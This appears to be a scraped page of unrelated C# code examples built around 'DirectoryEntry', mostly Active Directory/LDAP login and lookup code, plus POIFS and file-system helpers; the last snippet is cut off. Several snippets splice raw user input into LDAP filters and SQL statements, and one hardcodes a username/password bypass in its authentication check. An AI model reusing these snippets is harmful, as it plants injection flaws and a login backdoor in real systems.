Ejemplo n.º 1
5
    public bool AuthenticateUser(string Domain, string Username, string Password, string LDAP_Path, ref string Errmsg)
    {
        Errmsg = "";
        string domainAndUsername = Domain + "\\" + Username;
        DirectoryEntry entry = new DirectoryEntry(LDAP_Path, domainAndUsername, Password);
        entry.AuthenticationType = AuthenticationTypes.Secure;
        try
        {
            DirectorySearcher search = new DirectorySearcher(entry);

            search.Filter = "(SAMAccountName=" + Username + ")";

            search.PropertiesToLoad.Add("cn");

            SearchResult result = search.FindOne();

            if (result == null)
            {
                return false;
            }
            // Update the new path to the user in the directory

            LDAP_Path = result.Path;
            string _filterAttribute = (String)result.Properties["cn"][0];
        }
        catch (Exception ex)
        {
            Errmsg = ex.Message;
            return false;
            throw new Exception("Error authenticating user." + ex.Message);
        }

        return true;
    }
Ejemplo n.º 2
2
    public static void Main()
    {
        string path= "LDAP://DC=[DOMAIN],DC=local";
        string strAccountId = "[USERNAME]";
        string strPassword = "******";
        bool bSucceeded;
        string strError;

        DirectoryEntry adsEntry = new DirectoryEntry(path, strAccountId, strPassword);

        DirectorySearcher adsSearcher = new DirectorySearcher( adsEntry );
        adsSearcher.Filter = "(sAMAccountName=" + strAccountId + ")";

        try
         {
          SearchResult adsSearchResult = adsSearcher.FindOne();
          bSucceeded = true;
          strError = "User has been authenticated by Active Directory.";
          adsEntry.Close();
         }
        catch ( Exception ex )
         {
            bSucceeded = false;
            strError = ex.Message;
            adsEntry.Close();
         }

         if (bSucceeded){
            Console.WriteLine("Great Success");
         }else {
            Console.WriteLine("Great Fail");
         }
    }
Ejemplo n.º 3
1
        /**
         * Copies an Entry into a target POIFS directory, recursively
         */

        public static void CopyNodeRecursively(Entry entry, DirectoryEntry target)
        {
            // System.err.println("copyNodeRecursively called with "+entry.GetName()+
            // ","+tarGet.getName());
            DirectoryEntry newTarget = null;
            if (entry.IsDirectoryEntry)
            {
                newTarget = target.CreateDirectory(entry.Name);
                IEnumerator entries = ((DirectoryEntry)entry).Entries;

                while (entries.MoveNext())
                {
                    CopyNodeRecursively((Entry)entries.Current, newTarget);
                }
            }
            else
            {
                DocumentEntry dentry = (DocumentEntry)entry;
                using (DocumentInputStream dstream = new DocumentInputStream(dentry))
                {
                    target.CreateDocument(dentry.Name, dstream);
                    //now part of usings call to Dispose: dstream.Close();
                }
            }
        }
    int UserId; // For User Id

    #endregion Fields

    #region Methods

    /// <summary>
    /// To bind active directory records in user details grid
    /// </summary>
    public void BindUser()
    {
        DataTable DtBindUser = new DataTable();
        DataColumn Dtmail = new DataColumn("mail");
        DataColumn Dtfname = new DataColumn("fname");
        DataColumn Dtlname = new DataColumn("lname");
        DataColumn DtdisplayName = new DataColumn("displayName");
        DtBindUser.Columns.Add(Dtmail);
        DtBindUser.Columns.Add(Dtfname);
        DtBindUser.Columns.Add(Dtlname);
        DtBindUser.Columns.Add(DtdisplayName);
        DataRow Druser;

        // Added connection string for active directory user
        string connection = ConfigurationManager.ConnectionStrings["ADConnection"].ToString();
        DirectorySearcher DsSearch = new DirectorySearcher(connection);

        // declaired domain from which you want to fetch active directory users
        DirectoryEntry UserDomain = new DirectoryEntry("LDAP://DC=kpmg,DC=aptaracorp,DC=com");
        DirectorySearcher Usersearch = new DirectorySearcher(connection);
        DsSearch.SearchRoot = UserDomain;
        DsSearch.SearchScope = SearchScope.Subtree;
        SearchResultCollection UserResult;

        //Applied Filter On User For Specific Fname and Lname
        Usersearch.Filter = "(&(objectClass=user)(sn=" + txtLastName.Text + "*)(givenName=" + txtFName.Text + "*))";
        UserResult = Usersearch.FindAll();
        for (int i = 0; i < UserResult.Count; i++)
        {
            string AccounName = UserResult[i].Properties["samaccountname"][0].ToString();
            DirectorySearcher DrSearcher = new System.DirectoryServices.DirectorySearcher("(samaccountname=" + AccounName + ")");
            SearchResult SrchRes = DrSearcher.FindOne();
            DirectoryEntry DrEntry = SrchRes.GetDirectoryEntry();
            try
            {
                if (DrEntry.Properties["givenName"][0].ToString() != "")
                {
                    string FirstName = DrEntry.Properties["givenName"][0].ToString();
                    string LastName = DrEntry.Properties["sn"][0].ToString();
                    string UserEmail = DrEntry.Properties["mail"][0].ToString();
                    string UserDisName = DrEntry.Properties["displayName"][0].ToString();
                    Druser = DtBindUser.NewRow();
                    Druser["mail"] = UserEmail.ToString();
                    Druser["fname"] = FirstName.ToString();
                    Druser["lname"] = LastName.ToString();
                    Druser["displayName"] = UserDisName.ToString();
                    DtBindUser.Rows.Add(Druser);
                }
            }
            catch
            {
                ////throw;
            }
        }
        if (DtBindUser.Rows.Count > 0)
        {
            grdUserDetails.DataSource = DtBindUser;
            grdUserDetails.DataBind();
        }
    }
Ejemplo n.º 5
0
 public static void Build(DirectoryEntry rootEntry)
 {
     if (rootEntry.Members.Count > 0)
     {
         rootEntry.MembersTreeNodeDID = BuildStorageEntry(rootEntry);
     }
 }
Ejemplo n.º 6
0
    public static int ADGroupListUpdate()
    {
        string file_location = HttpContext.Current.Server.MapPath("~") + "\\App_Data\\ADGroups.xml";
        int GroupCount = 0;

        DirectoryEntry dirEnt = new DirectoryEntry("LDAP://" + Utils.Settings.Get("domain_controller") );
        string[] loadProps = new string[] { "name" }; 

        XDocument xDoc = new XDocument(new XDeclaration("1.0", "utf-8", "yes"));
        XElement root = new XElement("groups");

        using (DirectorySearcher srch = new DirectorySearcher(dirEnt, "(objectClass=Group)", loadProps))
        {
            srch.PageSize = 6000;
            var results = SafeFindAll(srch);
            foreach (SearchResult sr in results)
            {
                XElement xe = new XElement("group", sr.Properties["name"][0].ToString());
                root.Add(xe);
                GroupCount++;
            }
        }

        xDoc.Add(root);
        if (File.Exists(file_location)) File.Delete(file_location);
        xDoc.Save(file_location);

        return GroupCount;
    }
Ejemplo n.º 7
0
Archivo: NCC.cs Proyecto: sopel30/tsst2
 public void DirectoryRegistration(string name, int id)
 {
     DirectoryEntry wpis = new DirectoryEntry();
     wpis.Id = id;
     wpis.Name = name;
     Directory.Add(name, wpis);
 }
Ejemplo n.º 8
0
 // private Dispose method
 protected override void Dispose(bool disposing)
 {
     if (!_disposed)
     {
         try
         {
             // if there are any managed or unmanaged 
             // resources to be freed, those should be done here
             // if not an explicit dispose only unmanaged resources should 
             // be disposed
             if (disposing)
             {
                 // dispose schema entry
                 if (_schemaEntry != null)
                 {
                     _schemaEntry.Dispose();
                     _schemaEntry = null;
                 }
                 // dispose the abstract schema entry
                 if (_abstractSchemaEntry != null)
                 {
                     _abstractSchemaEntry.Dispose();
                     _abstractSchemaEntry = null;
                 }
             }
             _disposed = true;
         }
         finally
         {
             base.Dispose();
         }
     }
 }
Ejemplo n.º 9
0
    public bool AuthenticateUser(string domain, string username, string password, string LdapPath, out string Errmsg)
    {
        Errmsg = "";
        string domainAndUsername = domain + @"\" + username;
        DirectoryEntry entry = new DirectoryEntry(LdapPath, domainAndUsername, password);

        try
        {
            // Bind to the native AdsObject to force authentication.
            object obj = entry.NativeObject;
            DirectorySearcher search = new DirectorySearcher(entry);
            search.Filter = "(SAMAccountName=" + username + ")";
            search.PropertiesToLoad.Add("cn");
            SearchResult result = search.FindOne();

            if (null == result)
            {
                return false;
            }

            // Update the new path to the user in the directory
            LdapPath = result.Path;
            string _filterAttribute = (String)result.Properties["cn"][0];
        }
        catch (Exception ex)
        {
            Errmsg = ex.Message;
            return false;
            throw new Exception("Error authenticating user." + ex.Message);
        }

        return true;
    }
Ejemplo n.º 10
0
        /*
         * AddNode - Recurses over some root DirectoryEntry node and add's text to the treeViewDirectory
         * Returns - TreeNode created at current level of recursion
         */
        public TreeNode AddNode(DirectoryEntry directoryNode, TreeNode rootNode)
        {
            TreeNode node = null;
            if (rootNode == null)
            {
                node = new TreeNode(directoryNode.LongFilename == null ? directoryNode.ShortFilename : directoryNode.LongFilename);
            }
            else
            {
                node = new TreeNode(directoryNode.LongFilename == null ? directoryNode.ShortFilename : directoryNode.LongFilename);
                rootNode.Nodes.Add(node);
            }

            if (directoryNode.IsDirectory || directoryNode.IsVolumeID)
            {
                foreach (DirectoryEntry entry in directoryNode.Children)
                {
                    AddNode(entry, node);
                }
            }
            else
            {
                node.Tag = directoryNode;
            }
            return node;
        }
Ejemplo n.º 11
0
 /// <summary>
 /// Performs a path lookup obeying to the passed flags.
 /// </summary>
 /// <param name="rootDirectory">The root directory.</param>
 /// <param name="path">The path to resolve.</param>
 /// <param name="flags">Controls aspects of the path lookup process.</param>
 /// <returns>
 /// The directory entry of the resolved path.
 /// </returns>
 /// <remarks>
 /// This call my result in other exceptions not specified in the above list. Other exceptions can be thrown by IVfsNode implementations, which are visited during the traversal
 /// process. For example a network file system node may throw an exception, if the server is unreachable.
 /// </remarks>
 public static DirectoryEntry Resolve(DirectoryEntry rootDirectory, ref string path, PathResolutionFlags flags)
 {
     // FIXME: Get the root from the thread execution block
     DirectoryEntry current = rootDirectory;
     PathResolver resolver = new PathResolver(rootDirectory, current);
     return resolver.Resolve(ref path, flags);
 }
Ejemplo n.º 12
0
    /// <summary>
    /// 
    /// </summary>
    /// <param name="strLogin"></param>
    /// <returns></returns>
    public static string GetFullName(string strLogin)
    {
        string str = "";
        string strDomain;
        string strName;        // Parse the string to check if domain name is present.        
        int idx = strLogin.IndexOf('\\');
        if (idx == -1)
        {
            idx = strLogin.IndexOf('@');
        }
        if (idx != -1)
        {
            strDomain = strLogin.Substring(0, idx);
            strName = strLogin.Substring(idx + 1);
        }
        else
        {
            strDomain = Environment.MachineName;
            strName = strLogin;
        }

        DirectoryEntry obDirEntry = null;
        try
        {
            obDirEntry = new DirectoryEntry("WinNT://" + strDomain + "/" + strName);
            System.DirectoryServices.PropertyCollection coll = obDirEntry.Properties;
            object obVal = coll["FullName"].Value;
            str = obVal.ToString();
        }
        catch (Exception ex)
        {
            str = ex.Message;
        }
        return str;
    }
Ejemplo n.º 13
0
        private static int BuildStorageEntry(DirectoryEntry storageEntry)
        {
            // direct members of each storage are organised in a separate red-black tree
            RedBlackTree<DirectoryEntry> rbTree = new RedBlackTree<DirectoryEntry>();
            foreach (DirectoryEntry entry in storageEntry.Members.Values)
            {
                rbTree.Add(entry);
            }

            foreach (RedBlackTreeNode<DirectoryEntry> node in rbTree.InorderTreeWalk(rbTree.Root))
            {
                DirectoryEntry entry = node.Data;
                entry.NodeColor = GetNodeColor(node.Color);
                entry.LeftChildDID = GetNodeID(node.Left);
                entry.RightChildDID = GetNodeID(node.Right);

                if (entry.Members.Count > 0)
                {
                    entry.EntryType = EntryType.Storage;
                    entry.MembersTreeNodeDID = BuildStorageEntry(entry);
                }
                else
                {
                    entry.EntryType = EntryType.Stream;
                    entry.MembersTreeNodeDID = -1;
                }
            }

            return rbTree.Root.Data.ID;
        }
Ejemplo n.º 14
0
    protected void Login1_Authenticate(object sender, AuthenticateEventArgs e)
    {
        DirectoryEntry entry = new DirectoryEntry("LDAP://NTNIGE", Login1.UserName, Login1.Password);
        try
        {
            object ent = entry.NativeObject;
            e.Authenticated = true;

           SqlConnection con = new SqlConnection();
           SqlCommand cmd = new SqlCommand();

           con.ConnectionString = ConfigurationManager.ConnectionStrings["nfte"].ConnectionString;
           cmd.Connection = con;
           cmd.CommandText = string.Format("select count(*) from nfte.users where userid = '{0}'", Login1.UserName.Trim());

           con.Open();
           object o =  cmd.ExecuteScalar();
           int usercount = Convert.ToInt32(o);

           if (usercount > 0)
           {
               FormsAuthentication.SetAuthCookie(Login1.UserName, false);
           }
           else
           {
               e.Authenticated = false;
               Login1.FailureText = "Your username or password is wrong,please check it and try again";
           }
        }
        catch
        {
            e.Authenticated = false;
            Login1.FailureText = "Internal error while trying to log in";
        }
    }
Ejemplo n.º 15
0
 public CorHeader(
     CorFlags flags,
     DirectoryEntry metadataDirectory,
     int entryPointTokenOrRelativeVirtualAddress = 0,
     ushort majorRuntimeVersion = 2,
     ushort minorRuntimeVersion = 5,
     DirectoryEntry resourcesDirectory = default(DirectoryEntry),
     DirectoryEntry strongNameSignatureDirectory = default(DirectoryEntry),
     DirectoryEntry codeManagerTableDirectory = default(DirectoryEntry),
     DirectoryEntry vtableFixupsDirectory = default(DirectoryEntry),
     DirectoryEntry exportAddressTableJumpsDirectory = default(DirectoryEntry),
     DirectoryEntry managedNativeHeaderDirectory = default(DirectoryEntry))
 {
     MajorRuntimeVersion = majorRuntimeVersion;
     MinorRuntimeVersion = minorRuntimeVersion;
     MetadataDirectory = metadataDirectory;
     Flags = flags;
     EntryPointTokenOrRelativeVirtualAddress = entryPointTokenOrRelativeVirtualAddress;
     ResourcesDirectory = resourcesDirectory;
     StrongNameSignatureDirectory = strongNameSignatureDirectory;
     CodeManagerTableDirectory = codeManagerTableDirectory;
     VtableFixupsDirectory = vtableFixupsDirectory;
     ExportAddressTableJumpsDirectory = exportAddressTableJumpsDirectory;
     ManagedNativeHeaderDirectory = managedNativeHeaderDirectory;
 }
Ejemplo n.º 16
0
    public bool IsAuthenticated(string domain, string username, string pwd)
    {
        if (username == "esb" && pwd == "a") return true;

        string domainAndUsername = domain + @"\" + username;
        DirectoryEntry entry = new DirectoryEntry(_path, domainAndUsername, pwd);

        try
        {
            //Bind to the native AdsObject to force authentication.
            object obj = entry.NativeObject;

            DirectorySearcher search = new DirectorySearcher(entry);

            search.Filter = "(SAMAccountName=" + username + ")";
            search.PropertiesToLoad.Add("cn");
            SearchResult result = search.FindOne();

            if (null == result)
            {
                return false;
            }

            //Update the new path to the user in the directory.
            _path = result.Path;
            _filterAttribute = (string)result.Properties["cn"][0];
        }
        catch (System.Exception ex)
        {
            throw new System.Exception(" " + ex.Message);
        }

        return true;
    }
Ejemplo n.º 17
0
        /**
     * Copies an Entry into a target POIFS directory, recursively
     */
        public static void CopyNodeRecursively(Entry entry, DirectoryEntry target)
        {
            // System.err.println("copyNodeRecursively called with "+entry.getName()+
            // ","+target.getName());
            DirectoryEntry newTarget = null;
            if (entry.IsDirectoryEntry)
            {
                DirectoryEntry dirEntry = (DirectoryEntry)entry;
                newTarget = target.CreateDirectory(entry.Name);
                newTarget.StorageClsid=(dirEntry.StorageClsid);
                IEnumerator<Entry> entries = dirEntry.Entries;

                while (entries.MoveNext())
                {
                    CopyNodeRecursively((Entry)entries.Current, newTarget);
                }
            }
            else
            {
                DocumentEntry dentry = (DocumentEntry)entry;
                DocumentInputStream dstream = new DocumentInputStream(dentry);
                target.CreateDocument(dentry.Name, dstream);
                dstream.Close();
            }
        }
Ejemplo n.º 18
0
 private void doADCopy(String username)
 {
     DirectoryEntry de = new DirectoryEntry("LDAP://ewprint.eastway.local/OU=Active Users,DC=eastway,DC=local");
     DirectorySearcher ds = new DirectorySearcher(de);
     ds.Filter = "sAMAccountName=" + username;
     SearchResult sr = ds.FindOne();
     DirectoryEntry user = sr.GetDirectoryEntry();
     SqlConnection cn = new SqlConnection(ConfigurationManager.ConnectionStrings["EWEHR"].ToString());
     try {
         cn.Open();
         if (isEchartsUser(user.Properties["employeeNumber"].Value.ToString())) {
             SqlCommand cmd = new SqlCommand("UPDATE echarts_user set " +
                 "office = '" + user.Properties["physicalDeliveryOfficeName"].Value + "', " +
                 "office_phone = '" + user.Properties["telephoneNumber"].Value + "', " +
                 "staff_description = '" + user.Properties["title"].Value + "', " +
                 "staff_name = '" + user.Properties["displayName"].Value + "',  " +
                 "status = 'Active', " +
                 "supervisor = '" + getManager(user.Properties["manager"].Value.ToString()) + "', " +
                 "username = '******' " +
                 "WHERE staff_id = '" + user.Properties["employeeNumber"].Value + "'", cn);
             if (cmd.ExecuteNonQuery() == 0) {
                 Response.Write("UPDATE FAILED");
             } else {
                 HttpCookie staffid = new HttpCookie("staff_id");
                 staffid.Value = (String)user.Properties["employeeNumber"].Value;
                 staffid.Expires = DateTime.UtcNow.AddMonths(6);
                 staffid.Domain = EchartsAuth.domainName;
                 Response.Cookies.Add(staffid);
                 doRedirect(Request.QueryString["continue"]);
             }
         } else {
             SqlCommand cmd = new SqlCommand("INSERT INTO echarts_user " +
                 "(username,office,office_phone,staff_description,staff_id,staff_name,status,supervisor) " +
                 "VALUES('" + username + "','" +
                 user.Properties["physicalDeliveryOfficeName"].Value + "','" +
                 user.Properties["telephoneNumber"].Value + "','" +
                 user.Properties["title"].Value + "','" +
                 user.Properties["employeeNumber"].Value + "','" +
                 user.Properties["displayName"].Value + "','" +
                 "Active" + "','" +
                 getManager(user.Properties["manager"].Value.ToString()) + "')", cn);
             if (cmd.ExecuteNonQuery() == 0) {
                 Response.Write("INSERT FAILED");
             } else {
                 HttpCookie staffid = new HttpCookie("staff_id");
                 staffid.Value = (String)user.Properties["employeeNumber"].Value;
                 staffid.Expires = DateTime.UtcNow.AddMonths(6);
                 staffid.Domain = EchartsAuth.domainName;
                 Response.Cookies.Add(staffid);
                 HttpCookie firstLogin = new HttpCookie("first_login");
                 firstLogin.Domain = EchartsAuth.domainName;
                 Response.Cookies.Add(firstLogin);
                 doRedirect(Request.QueryString["continue"]);
             }
         }
     } finally {
         cn.Close();
     }
 }
Ejemplo n.º 19
0
 /**
  * Copies all the nodes from one POIFS Directory to another
  * 
  * @param sourceRoot
  *            is the source Directory to copy from
  * @param targetRoot
  *            is the target Directory to copy to
  */
 public static void CopyNodes(DirectoryEntry sourceRoot,
         DirectoryEntry targetRoot)
 {
     foreach (Entry entry in sourceRoot)
     {
         CopyNodeRecursively(entry, targetRoot);
     }
 }
Ejemplo n.º 20
0
        /// 
        /// <summary>
        /// Creates a new RangeRetriever object.
        /// </summary>
        /// <param name="de">DirectoryEntry object whose attribute needs to be range retrieved</param>
        /// <param name="propertyName">name of the attribute that needs to be range retrieved, ex: "memberOf"</param>
        /// <param name="disposeDirEntry">
        /// If set to true, the supplied DirectoryEntry will be diposed, 
        /// by this object's Dispose() method
        /// </param>
        /// 
        public RangeRetriever(DirectoryEntry de, string propertyName, bool disposeDirEntry)
        {
            GlobalDebug.WriteLineIf(GlobalDebug.Info, "RangeRetriever", "RangeRetriever: de.Path={0}, propertyName={1}", de.Path, propertyName);

            _de = de;
            _propertyName = propertyName;
            _disposeDirEntry = disposeDirEntry;
        }
Ejemplo n.º 21
0
    public bool CheckUserAuthentication(String userAccount)
    {
        //DirectoryEntry entry = new DirectoryEntry(LDAPConnString);
        DirectoryEntry entry = new DirectoryEntry(lDAPConnString, userName, password);

        //Change the domain name to match the target domain
        String account = userAccount;
        //string group = "AdminGroup";
        try
        {

            //Search Actived Directory for the username used during login and generate list of groups the user is a member of
            DirectorySearcher search = new DirectorySearcher(entry);
            search.Filter = "(SAMAccountName=" + account + ")";
            search.PropertiesToLoad.Add("memberOf");
            SearchResult result = search.FindOne();

            //Search Active Directory for the group specified in the authorizedGroup variable and list the group's members.
            DirectorySearcher groupSearch = new DirectorySearcher(entry);
            groupSearch.Filter = "(SAMAccountName=" + authorizedGroup + ")";
            groupSearch.PropertiesToLoad.Add("member");
            SearchResult groupResult = groupSearch.FindOne();

            //Compare groups the user is a member of with the specified group.  If a match, return true to the calling aspx page.
            if (result != null)
            {
                int allGroupCount = result.Properties["memberOf"].Count;

                int checkGroupCount = groupResult.Properties["member"].Count;

                for (int i = 0; i < allGroupCount; i++)
                {
                    string number = lDAPContextString + result.Properties["memberOf"][i].ToString();
                    for (int j = 0; j < checkGroupCount; j++)
                    {
                        string grp = groupResult.Path[j].ToString();
                        string usr = result.Path.ToString();

                        if (number == groupResult.Path.ToString())
                        {
                            return true;
                        }
                    }
                }
            }
            else
            {
                return false;
            }
        }
        catch (Exception ex)
        {
            string debug = ex.Message;

            return false;
        }
        return false;
    }
Ejemplo n.º 22
0
 public static DirectoryEntry GetDirectoryEntry()
 {
     DirectoryEntry de = new DirectoryEntry();
     de.Path = "LDAP://PTADARO";
     de.AuthenticationType = AuthenticationTypes.Secure;
     //de.Path = "LDAP://servdev.net";
     //de.AuthenticationType = AuthenticationTypes.Secure;
     return de;
 }
 public DirectoryEntry FindDirectoryEntry(DirectoryEntry entry, string entryName)
 {
     if (entry.Members.ContainsKey(entryName)) return entry.Members[entryName];
     foreach (DirectoryEntry subentry in entry.Members.Values)
     {
         return FindDirectoryEntry(subentry, entryName);
     }
     return null;
 }
Ejemplo n.º 24
0
    public static DirectoryEntry GetDirectoryEntry()
    {
        string activedirectory_domain = ConfigurationManager.AppSettings["activedirectory_domain"];
          string activedirectory_username = ConfigurationManager.AppSettings["activedirectory_username"];
          string activedirectory_password = ConfigurationManager.AppSettings["activedirectory_password"];

          DirectoryEntry entry = new DirectoryEntry("LDAP://" + activedirectory_domain, activedirectory_username, activedirectory_password);
          entry.AuthenticationType = AuthenticationTypes.Secure;
          return entry;
    }
Ejemplo n.º 25
0
        /// <summary>
        /// Performs a standard path lookup.
        /// </summary>
        /// <param name="rootDirectory">The root directory.</param>
        /// <param name="path">The path to resolve.</param>
        /// <returns>The directory entry of the resolved path.</returns>
        /// <exception cref="System.Security.SecurityException">The caller does not have access to the path or a component. For example the caller does not have the right to traverse the path.</exception>
        /// <exception cref="System.IO.PathTooLongException">The path is too long to traverse. This can be the result of circular symbolic links in the path.</exception>
        /// <exception cref="System.IO.FileNotFoundException">The file or folder path not found.</exception>
        /// <exception cref="System.IO.DirectoryNotFoundException">A path component was not found.</exception>
        /// <remarks>
        /// This call my result in other exceptions not specified in the above list. Other exceptions can be thrown by IVfsNode implementations, which are visited during the traversal
        /// process. For example a network file system node may throw an exception, if the server is unreachable.
        /// </remarks>
        public static DirectoryEntry Resolve(DirectoryEntry rootDirectory, ref string path)
        {
            // FIXME: Remove the root argument. The filesystem root should be unique for a process as part of a security model similar to jails, e.g. give apps from
            // untrusted sources their private filesystem regions.

            // FIXME: Get the root from the thread execution block
            DirectoryEntry current = rootDirectory;
            PathResolver resolver = new PathResolver(rootDirectory, current);
            return resolver.Resolve(ref path, PathResolutionFlags.None);
        }
Ejemplo n.º 26
0
 protected void setUp()
 {
     fs = new POIFSFileSystem();
     dirA = fs.CreateDirectory("DirA");
     dirB = fs.CreateDirectory("DirB");
     dirAA = dirA.CreateDirectory("DirAA");
     eRoot = fs.Root.CreateDocument("Root", new ByteArrayInputStream(new byte[] { }));
     eA = dirA.CreateDocument("NA", new ByteArrayInputStream(new byte[] { }));
     eAA = dirAA.CreateDocument("NAA", new ByteArrayInputStream(new byte[] { }));
 }
Ejemplo n.º 27
0
        public static DomainInfo GetDomainInfo(string domainController, string port, string userName, string password, string searchBase, RtContextValue _context)
        {
            int ldapPort = ConvertPort(port);

            if (ldapPort == 0)
            {
                ldapPort = 389;
            }
            DomainInfo domainInfo = new DomainInfo();

            if (domains != null && domains.Contains(domainController))
            {
                domainInfo.DomainName      = domainController;
                domainInfo.Users           = (ArrayList)domains[domainController];
                domainInfo.DistiguishNames = (Hashtable)domains[domainController + "1"];
                return(domainInfo);
            }

            if (domains == null)
            {
                domains = new Hashtable();
            }
            ArrayList users = new ArrayList();

            if (_context.Equals(RtContextValue.JVCACHE))
            {
                Hashtable distinguishNames = new Hashtable();



                //Connection Build for Ldap Authentication
                _ldapConnection = GetLdapConnection(domainController, ldapPort, userName, password);

                string filter = "(objectClass=*)";

                String[] attribsToReturn;

                string attribs = "cn";

                // split the single string expression from the string argument into an array of strings
                attribsToReturn = attribs.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries);

                SearchRequest searchRequest = new SearchRequest(searchBase, filter, System.DirectoryServices.Protocols.SearchScope.Subtree, attribsToReturn);
                try
                {
                    SearchResponse searchResponse = (SearchResponse)_ldapConnection.SendRequest(searchRequest);

                    if (searchResponse.Entries.Count > 0)
                    {
                        foreach (SearchResultEntry entry in searchResponse.Entries)
                        {
                            // retrieve a specific attribute
                            SearchResultAttributeCollection attributes = entry.Attributes;


                            foreach (DirectoryAttribute attribute in attributes.Values)
                            {
                                users.Add(attribute[0].ToString());
                                distinguishNames.Add(attribute[0].ToString(), entry.DistinguishedName);
                            }

                            // DirectoryAttribute attribute = entry.Attributes["cn"];
                        }
                    }
                }
                catch (Exception ex) { throw ex; }

                domainInfo.Users           = users;
                domainInfo.DistiguishNames = distinguishNames;

                domains[domainController]       = users;
                domains[domainController + "1"] = distinguishNames;
            }
            else
            {
                #region --- Previous Code ----
                DirectoryEntry    adRoot   = new DirectoryEntry("LDAP://" + domainController, userName, password);
                DirectorySearcher searcher = new DirectorySearcher(adRoot);
                searcher.SearchScope     = System.DirectoryServices.SearchScope.Subtree;
                searcher.ReferralChasing = ReferralChasingOption.All;
                searcher.Filter          = "(&(objectClass=user)(objectCategory=person))";
                searcher.PropertiesToLoad.Add("SAMAccountname");
                searcher.PageSize = 1000;

                try
                {
                    SearchResultCollection result = searcher.FindAll();
                    foreach (SearchResult a in result)
                    {
                        DirectoryEntry entry    = a.GetDirectoryEntry();
                        string         UserName = a.Properties["SAMAccountname"][0].ToString();
                        users.Add(UserName);
                    }
                }
                catch (Exception ex)
                {
                }
                finally
                {
                    adRoot.Dispose();
                    searcher.Dispose();
                }
                domainInfo.Users = users;

                domains[domainController] = users;
                #endregion
            }
            return(domainInfo);
        }
Ejemplo n.º 28
0
        private void DoLDAPDirectoryInit()
        {
            // use the servername if they gave us one, else let ADSI figure it out
            string serverName = "";

            if (_name != null)
            {
                if (_contextType == ContextType.ApplicationDirectory)
                {
                    serverName = _serverProperties.dnsHostName + ":" +
                                 ((ContextOptions.SecureSocketLayer & _options) > 0 ? _serverProperties.portSSL : _serverProperties.portLDAP);
                }
                else
                {
                    serverName = _name;
                }

                serverName += "/";
            }

            GlobalDebug.WriteLineIf(GlobalDebug.Info, "PrincipalContext", "DoLDAPDirectoryInit: serverName is " + serverName);

            // use the options they specified
            AuthenticationTypes authTypes = SDSUtils.MapOptionsToAuthTypes(_options);

            GlobalDebug.WriteLineIf(GlobalDebug.Info, "PrincipalContext", "DoLDAPDirectoryInit: authTypes is " + authTypes.ToString());

            DirectoryEntry de = new DirectoryEntry("LDAP://" + serverName + _container, _username, _password, authTypes);

            try
            {
                // Set the password port to the ssl port read off of the rootDSE.  Without this
                // password change/set won't work when we connect without SSL and ADAM is running
                // on non-standard port numbers.  We have already verified directory connectivity at this point
                // so this should always succeed.
                if (_serverProperties.portSSL > 0)
                {
                    de.Options.PasswordPort = _serverProperties.portSSL;
                }

                StoreCtx storeCtx = CreateContextFromDirectoryEntry(de);

                _queryCtx    = storeCtx;
                _userCtx     = storeCtx;
                _groupCtx    = storeCtx;
                _computerCtx = storeCtx;

                _connectedServer = ADUtils.GetServerName(de);
                de = null;
            }
            catch (System.Runtime.InteropServices.COMException e)
            {
                throw ExceptionHelper.GetExceptionFromCOMException(e);
            }
            catch (Exception e)
            {
                GlobalDebug.WriteLineIf(GlobalDebug.Error, "PrincipalContext",
                                        "DoLDAPDirectoryInit: caught exception of type "
                                        + e.GetType().ToString() +
                                        " and message " + e.Message);

                throw;
            }
            finally
            {
                // Cleanup the DE on failure
                if (de != null)
                {
                    de.Dispose();
                }
            }
        }
        private void GenerateTemplate(string savePath, string templatePath)
        {
            //Yeah not pretty but ¯\_(ツ)_/¯
            try
            {
                //Support for Enviroment Vars like %username%
                object saveAsObj = Environment.ExpandEnvironmentVariables(savePath);
                templatePath = Environment.ExpandEnvironmentVariables(templatePath);

                DirectoryEntry de = new DirectoryEntry(Properties.Settings.Default.DomainServer);
                // Authentication details
                de.AuthenticationType = AuthenticationTypes.FastBind;
                DirectorySearcher DirectorySearcher = new DirectorySearcher(de);
                DirectorySearcher.ClientTimeout = TimeSpan.FromSeconds(30);
                // load all properties
                DirectorySearcher.PropertiesToLoad.Add("*");
                //Use Current logged in SamAccountName as filter            
                DirectorySearcher.Filter = "(sAMAccountName=" + UserPrincipal.Current.SamAccountName + ")";
                SearchResult result = DirectorySearcher.FindOne(); // There should only be one entry
                if (result != null)
                {
                    //Word init
                    //Source: https://www.techrepublic.com/blog/how-do-i/how-do-i-modify-word-documents-using-c/
                    object missing = System.Reflection.Missing.Value;
                    Microsoft.Office.Interop.Word.Application wordApp = new Microsoft.Office.Interop.Word.Application();
                    Microsoft.Office.Interop.Word.Document document = null;
                    if (File.Exists(templatePath))
                    {
                        object file = (object)templatePath;
                        object readOnly = true;
                        object isVisisble = false;
                        document = wordApp.Documents.Open(ref file, ref missing,
                            ref readOnly, ref missing, ref missing, ref missing,
                            ref missing, ref missing, ref missing, ref missing,
                            ref missing, ref isVisisble, ref missing, ref missing,
                            ref missing, ref missing
                            );

                        document.Activate();



                        //Loop through each properties

                        foreach (string propname in result.Properties.PropertyNames)
                        {
                            foreach (Object objValue in result.Properties[propname])
                            {
                                this.FindAndReplace(wordApp, "<" + propname.ToLower() + ">", objValue);
                            }
                        }
                        document.SaveAs2(ref saveAsObj, Microsoft.Office.Interop.Word.WdSaveFormat.wdFormatXMLTemplate);
                        document.Close();
                    }
                    else
                    {
                        MessageBox.Show("Couldn't find Template File " + templatePath, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }


                }
                else
                {
                    //Didnt find anything, which should be impossible but safe is safe
                    MessageBox.Show("Couldn't find any entries for " + UserPrincipal.Current.SamAccountName, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            catch (Exception e)
            {
                MessageBox.Show("Unknown Error: " + e.Message , "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);                
            }
                    
        }
Ejemplo n.º 30
0
        /// <summary>
        /// Determines whether or not the specified user is a member of the group.
        /// Based on Article: "Using LDAP to Enumerate Large Groups in UWWI"
        /// </summary>
        /// <param name="userDistinguishedName">A System.String containing the user's distinguished name (DN).</param>
        /// <param name="groupFullName">Domain-qualified group name.</param>

        static bool UserIsInGroup(
            string userDistinguishedName,
            string groupFullName)
        {
            SearchResult searchResults = null;
            Boolean      userFound     = false;
            Boolean      isLastQuery   = false;
            Boolean      exitLoop      = false;
            Int32        rangeStep     = 1500;
